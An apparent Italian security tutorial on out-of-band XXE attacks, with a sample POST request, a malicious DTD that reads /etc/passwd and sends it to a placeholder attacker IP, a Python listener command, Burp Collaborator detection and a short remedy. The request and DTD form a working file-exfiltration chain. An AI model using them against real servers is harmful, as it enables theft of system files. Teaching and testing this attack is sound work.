XXE (XML eXternal Entity) è un tipo di attacco verso un’applicazione in grado di interpretare input XML. Questo attacco si verifica quando l’input XML contenente un riferimento a un’entità esterna viene elaborato da un parser XML configurato male. XXE può essere utilizzate per leggere il contenuto dei file sulla macchina remota dal filesystem, da un webserver, da un server FTP etc, DoS, port scanning interno etc.

Alcuni web framework gestiscono autonomamente e automaticamente le varie tipologie di Content-Type durante le richieste HTTP. Anche se un’applicazione non è stata pensata per lavorare con XML è possibile sfruttare la vulnerabilità, proprio perché il framework interpreta automaticamente le richieste contenenti XML.

Exploitation

  • L’attaccante invia una richiesta contenente XML in cui viene richiesto un file dtd sulla propria macchina (SSRF)
  • Il sever invia la richiesta del file dtd
  • La macchina dell’attaccante risponde con il file dtd
  • Il server fa il parse del codice XML e invia la risposta al webserver dell’attaccante

La richiesta da inviare deve essere in formato POST per assicurarsi che il webserver consideri il payload XML nel corpo della richiesta. E’ importante modificare l’header Content-Type in text/xml

POST /playfra HTTP/1.1
Host: example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml   
Content-Length: 100
Origin: http://example.com
Connection: close
Referer: http://example.com
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://[IP ATTACCANTE]/file.dtd">
<foo>&entity1;</foo>

Con questo payload il webserver cercherà di contattare l’indirizzo fornito per ottenere file.dtd

Il file.dtd dovrà essere costruito come segue:

<!ENTITY % v1 SYSTEM "file:///etc/passwd">
<!ENTITY % v2 "<!ENTITY entity1 SYSTEM 'http://[IP ATTACCANTE]/?%v1;'>">
%v2;

Il dtd così impostato forzerà il parser ad andare a leggere il file /etc/passwd salvando il contenuto nella variabile v1. Successivamente creerà una variabile v2 facendo inviare una richiesta al webserver dell’attaccante con il contenuto di v1 e stamperà v2 con %v2.

Una volta che il server avrà finito di processare il dtd, risolverà la reference entity1 inviando il contenuto del file al server dell’attaccante.

A questo punto l’attaccante imposta un webserver per permettere alla macchina remota di leggere il contenuto del file.dtd

% python3 -m http.server 80

Dopo aver inviato la richiesta il webserver in ascolto riceve il contenuto del file:

Nella realtà non c’è la sicurezza che il server sia autorizzato a connettersi alla macchina dell’attaccante. Per rilevare questa vulnerabilità è possibile utilizzare burp collaborator in modo da vedere se la macchina remota è in grado di risolvere i nomi DNS esterni.

Se il server è vulnerabile ad XXE, sarà visualizzata una query DNS in burp collaborator.

Rimedio

Durante il parse di input XML assicurarsi che le entity siano disabilitate.